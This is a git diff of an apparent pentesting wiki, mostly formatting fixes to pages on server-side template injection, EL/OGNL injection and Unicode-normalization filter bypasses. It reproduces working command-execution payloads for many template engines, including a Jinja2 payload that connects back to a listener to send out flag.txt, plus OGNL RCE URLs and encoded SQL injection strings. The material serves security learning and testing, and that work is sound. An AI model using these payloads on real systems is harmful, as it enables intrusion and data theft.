code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string _on the fly_, they would need to create their own TemplateResolver. This is possible but happens very rarely. -If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores \(`__...__`\) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation: +If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores (`__...__`) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation: ```java #{selection.__${sel.code}__} @@ -222,7 +222,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) -### Spring View Manipulation \(Java\) +### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x @@ -231,11 +231,11 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) -### Pebble \(Java\) +### Pebble (Java) * `{{ someString.toUPPERCASE() }}` -Old version of Pebble \( < version 3.0.9\): +Old version of Pebble ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} @@ -258,7 +258,7 @@ New version of Pebble : .newInstance(([bytes]).toArray()) }} ``` -### Jinjava \(Java\) +### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' @@ -283,9 +283,9 @@ Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpo #### More information -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) -### Hubspot - HuBL \(Java\) +### Hubspot - HuBL (Java) * `{% %}` statement delimiters * `{{ }}` expression delimiters @@ -295,7 +295,7 @@ Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpo * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest -* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug\(\) +* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the [Jinjava project on Github](https://github.com/HubSpot/jinjava/). @@ -335,7 +335,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -### Expression Language - EL \(Java\) +### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. @@ -343,12 +343,14 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` -EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\). +EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI).\ Check the following page to learn more about the **exploitation of EL interpreters**: -{% page-ref page="el-expression-language.md" %} +{% content-ref url="el-expression-language.md" %} +[el-expression-language.md](el-expression-language.md) +{% endcontent-ref %} -### Smarty \(PHP\) +### Smarty (PHP) ```php {$smarty.version} @@ -361,9 +363,9 @@ Check the following page to learn more about the **exploitation of EL interprete #### More information * In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) -### Twig \(PHP\) +### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -406,10 +408,10 @@ $output = $twig > render ( #### More information -* In Twig and Twig \(Sandboxed\) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) +* In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) -### Jade \(NodeJS\) +### Jade (NodeJS) ```javascript - var x = root.process @@ -425,17 +427,17 @@ $output = $twig > render ( #### More information * In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) -### Handlebars \(NodeJS\) +### Handlebars (NodeJS) -Path Traversal \(more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)\). +Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` -* = Error +* \= Error * ${7\*7} = ${7\*7} * Nothing @@ -468,16 +470,16 @@ URLencoded: * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) -### JsRender \(NodeJS\) +### JsRender (NodeJS) -| **Template** | **Description** | -| :--- | :--- | -| | Evaluate and render output | -| | Evaluate and render HTML encoded output | -| | Comment | -| and | Allow code \(disabled by default\) | +| **Template** | **Description** | +| ------------ | --------------------------------------- | +| | Evaluate and render output | +| | Evaluate and render HTML encoded output | +| | Comment | +| and | Allow code (disabled by default) | -* = 49 +* \= 49 #### Client Side @@ -495,7 +497,7 @@ URLencoded: * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) -### PugJs \(NodeJS\) +### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` @@ -511,7 +513,7 @@ home = pugjs.render(injected_page) * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) -### ERB \(Ruby\) +### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` @@ -532,27 +534,29 @@ home = pugjs.render(injected_page) #### More information -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -### Slim \(Ruby\) +### Slim (Ruby) * `{ 7 * 7 }` -```text +``` { %x|env| } ``` #### More information -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: -{% page-ref page="../../misc/basic-python/bypass-python-sandboxes/" %} +{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %} +[bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/) +{% endcontent-ref %} -### Tornado \(Python\) +### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -566,9 +570,9 @@ Check out the following page to learn tricks about **arbitrary command execution #### More information -### Jinja2 \(Python\) +### Jinja2 (Python) -[Official website](http://jinja.pocoo.org/) +[Official website](http://jinja.pocoo.org) > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. @@ -613,7 +617,7 @@ If the Debug Extension is enabled, a \`
{% debug %}
``` -Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/\#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) +Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) #### Jinja2 - Dump all used classes @@ -652,7 +656,7 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/\#debug-statement Listen for connection -```text +``` nc -lnvp 8000 ``` @@ -671,7 +675,7 @@ nc -lnvp 8000 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ``` -Simply modification of payload to clean up output and facilitate command input \([https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)\) In another GET parameter include a variable named "input" that contains the command you want to run \(For example: &input=ls\) +Simply modification of payload to clean up output and facilitate command input ([https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)) In another GET parameter include a variable named "input" that contains the command you want to run (For example: \&input=ls) ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} @@ -736,7 +740,7 @@ Bypassing `|join` http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ ``` -Bypassing most common filters \('.','\_','\|join','\[','\]','mro' and 'base'\) by [https://twitter.com/SecGus](https://twitter.com/SecGus): +Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by [https://twitter.com/SecGus](https://twitter.com/SecGus): ```python {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr( @@ -744,10 +748,10 @@ Bypassing most common filters \('.','\_','\|join','\[','\]','mro' and 'base'\) b #### More information -* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection\#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Check [attr trick to bypass blacklisted chars in here](../../misc/basic-python/bypass-python-sandboxes/#python3). -### Mako \(Python\) +### Mako (Python) ```python <% @@ -757,32 +761,32 @@ x=os.popen('id').read() ${x} ``` -### Razor \(.Net\) +### Razor (.Net) * `@(1+2)` -* `@( //C#Code )` +* `@( //C#Code )` - The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) + The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **More information** -* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-%28SSTI%29-in-ASP.NET-Razor/) +* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) -### Mojolicious \(Perl\) +### Mojolicious (Perl) Even if it's perl it uses tags like ERB in Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Error` -```text +``` <%= perl code %> <% perl code %> ``` ### Method Confusion in GO -It's possible to **call methods of the object** that is passed to the context of the template. +It's possible to **call methods of the object** that is passed to the context of the template.\ For example if an object has the method `System` to execute a command or the method `File` to read a file you could achieve **RCE** o **read arbitrary files** with: * `{{.System "whoami"}}` @@ -796,7 +800,7 @@ Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/mast ## BlackHat PDF -{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} +{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf" %} ## Related Help @@ -807,14 +811,13 @@ If you think it could be useful, read: ## Tools -{% embed url="https://github.com/epinna/tplmap" caption="" %} +{% embed url="https://github.com/epinna/tplmap" %} ## Brute-Force Detection List -{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/ssti.txt" caption="" %} +{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Practice * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) - diff --git a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index 62333eb1..b6a50fff 100644 --- a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -2,7 +2,7 @@ ## Basic Information -EL provides an important mechanism for enabling the presentation layer \(web pages\) to communicate with the application logic \(managed beans\). +EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). ### Where is it used ? @@ -10,9 +10,9 @@ EL provides an important mechanism for enabling the presentation layer \(web pa 2. **Any place developers use it by SpEL API** 3. For languages it can be used in Java, Kotlin, Scala, and other JVM based technologies. -The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages \(JSP\) technology, and Contexts and Dependency Injection for Java EE \(CDI\). The EL can also be used in stand-alone environments. +The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). The EL can also be used in stand-alone environments. -Java applications are **easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use **term like "Serverlet" in the headers**. +Java applications are** easily recognizable** as they tend to use extensions as **.jsp** or **.jsf**, throw **stack errors** and use** term like "Serverlet" in the headers**. {% hint style="info" %} Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**. @@ -20,13 +20,13 @@ Depending on the **EL version** some **features** might be **On** or **Off** and ## Basic Example -\(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)\) +(You can find another interesting tutorial about EL in [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) -Download from the [**Maven**](https://mvnrepository.com/) repository the jar files: +Download from the [**Maven**](https://mvnrepository.com) repository the jar files: -* `commons-lang3-3.9.jar` +* `commons-lang3-3.9.jar ` * `spring-core-5.2.1.RELEASE.jar` -* `commons-logging-1.2.jar` +* `commons-logging-1.2.jar ` * `spring-expression-5.2.1.RELEASE.jar` And create a the following `Main.java` file: @@ -52,7 +52,7 @@ public class Main { } ``` -Next compile the code \(if you don't have `javac` installed, install `sudo apt install default-jdk`\): +Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`): ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java @@ -71,9 +71,9 @@ Note how in the previous example the term `{5*5}` was **evaluated**. ## **CVE Example** -From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution \(RCE\). It was created as part of exploit for [CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp). +From you have already see I bet you know what is coming. If developers are using SpEL with user input, we need to create payload with injection. Let’s check one that allow remote code execution (RCE). It was created as part of exploit for [CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp). -![Image for post](https://miro.medium.com/max/1933/1*qyl6ZLeJOyXmxmdqMcT8tg.png) +![Image for post](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png) It consist of 3 parts: @@ -83,7 +83,7 @@ It consist of 3 parts: Result of executing it: -![Image for post](https://miro.medium.com/max/982/1*APSYwU3qbw0rNJAd2xhdNA.png) +![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png) ## Payloads @@ -165,7 +165,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` -* RCE **Windows** \(not tested\) +* RCE **Windows** (not tested) ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt @@ -241,6 +241,5 @@ ${employee.FirstName} * [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/) * [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md\#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools) * [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt) - diff --git a/pentesting-web/unicode-normalization-vulnerability.md b/pentesting-web/unicode-normalization-vulnerability.md index 26f0e4a0..57992022 100644 --- a/pentesting-web/unicode-normalization-vulnerability.md +++ b/pentesting-web/unicode-normalization-vulnerability.md @@ -4,41 +4,41 @@ Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization. -There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”: -**Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. +There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\ +**Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode **standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. ### Unicode Encoding -Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge. +Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\ Before we delve into Unicode attacks, the following are the main points to understand about Unicode: * Each character or symbol is mapped to a numerical value which is referred to as a “code point”. -* The code point value \(and therefore the character itself\) is represented by 1 or more bytes in memory. LATIN-1 characters like those used in English speaking countries can be represented using 1 byte. Other languages have more characters and need more bytes to represent all the different code points \(also since they can’t use the ones already taken by LATIN-1\). +* The code point value (and therefore the character itself) is represented by 1 or more bytes in memory. LATIN-1 characters like those used in English speaking countries can be represented using 1 byte. Other languages have more characters and need more bytes to represent all the different code points (also since they can’t use the ones already taken by LATIN-1). * The term “encoding” means the method in which characters are represented as a series of bytes. The most common encoding standard is UTF-8, using this encoding scheme ASCII characters can be represented using 1 byte or up to 4 bytes for other characters. * When a system processes data it needs to know the encoding used to convert the stream of bytes to characters. -* Though UTF-8 is the most common, there are similar encoding standards named UTF-16 and UTF-32, the difference between each is the number of bytes used to represent each character. i.e. UTF-16 uses a minimum of 2 bytes \(but up to 4\) and UTF-32 using 4 bytes for all characters. +* Though UTF-8 is the most common, there are similar encoding standards named UTF-16 and UTF-32, the difference between each is the number of bytes used to represent each character. i.e. UTF-16 uses a minimum of 2 bytes (but up to 4) and UTF-32 using 4 bytes for all characters. An example of how Unicode normalise two different bytes representing the same character: -![](../.gitbook/assets/image%20%2831%29.png) +![](<../.gitbook/assets/image (156).png>) -**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) +**A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) ### Discovering -If you can find inside a webapp a value that is being echoed back, you could try to send **‘KELVIN SIGN’ \(U+0212A\)** which **normalises to "K"** \(you can send it as `%e2%84%aa`\). **If a "K" is echoed back**, then, some kind of **Unicode normalisation** is being performed. +If you can find inside a webapp a value that is being echoed back, you could try to send** ‘KELVIN SIGN’ (U+0212A)** which **normalises to "K" **(you can send it as `%e2%84%aa`). **If a "K" is echoed back**, then, some kind of **Unicode normalisation **is being performed. -Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode** is `Leonishan`. +Other **example**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` after **unicode **is `Leonishan`. ## **Vulnerable Examples** ### **SQL Injection filter bypass** -Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user. +Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes **all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation **of the query, it **normalises **using **Unicode **the input of the user. -Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears: +Then, a malicious user could insert a different Unicode character equivalent to` ' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears: -![](../.gitbook/assets/image%20%28319%29.png) +![](<../.gitbook/assets/image (157).png>) #### Some interesting Unicode characters @@ -54,7 +54,7 @@ Then, a malicious user could insert a different Unicode character equivalent to * `"` -- %ef%bc%82 * `|` -- %ef%bd%9c -```text +``` ' or 1=1-- - %ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3 @@ -68,23 +68,22 @@ Then, a malicious user could insert a different Unicode character equivalent to %ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f ``` -### XSS \(Cross Site Scripting\) +### XSS (Cross Site Scripting) You could use one of the following characters to trick the webapp and exploit a XSS: -![](../.gitbook/assets/image%20%28312%29.png) +![](<../.gitbook/assets/image (312).png>) Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e` -![](../.gitbook/assets/image%20%28215%29%20%281%29.png) +![](<../.gitbook/assets/image (215) (1) (1).png>) ## References -**All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/\#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#) +**All the information of this page was taken from: **[**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#) **Other references:** -* \*\*\*\*[**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)\*\*\*\* -* \*\*\*\*[**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)\*\*\*\* -* \*\*\*\*[**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)\*\*\*\* - +* ****[**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)**** +* ****[**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)**** +* ****[**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)**** diff --git a/pentesting-web/web-vulnerabilities-methodology.md b/pentesting-web/web-vulnerabilities-methodology.md index fcaa8c93..28bfac54 100644 --- a/pentesting-web/web-vulnerabilities-methodology.md +++ b/pentesting-web/web-vulnerabilities-methodology.md @@ -5,121 +5,122 @@ In every pentest web there is **several hidden and obvious places that might be ## Proxies {% hint style="info" %} -Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be \(ab\)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. +Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend. {% endhint %} -* [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)\*\*\*\* -* [ ] \*\*\*\*[**Cache Poisoning/Cache Deception**](cache-deception.md)\*\*\*\* -* [ ] \*\*\*\*[**HTTP Request 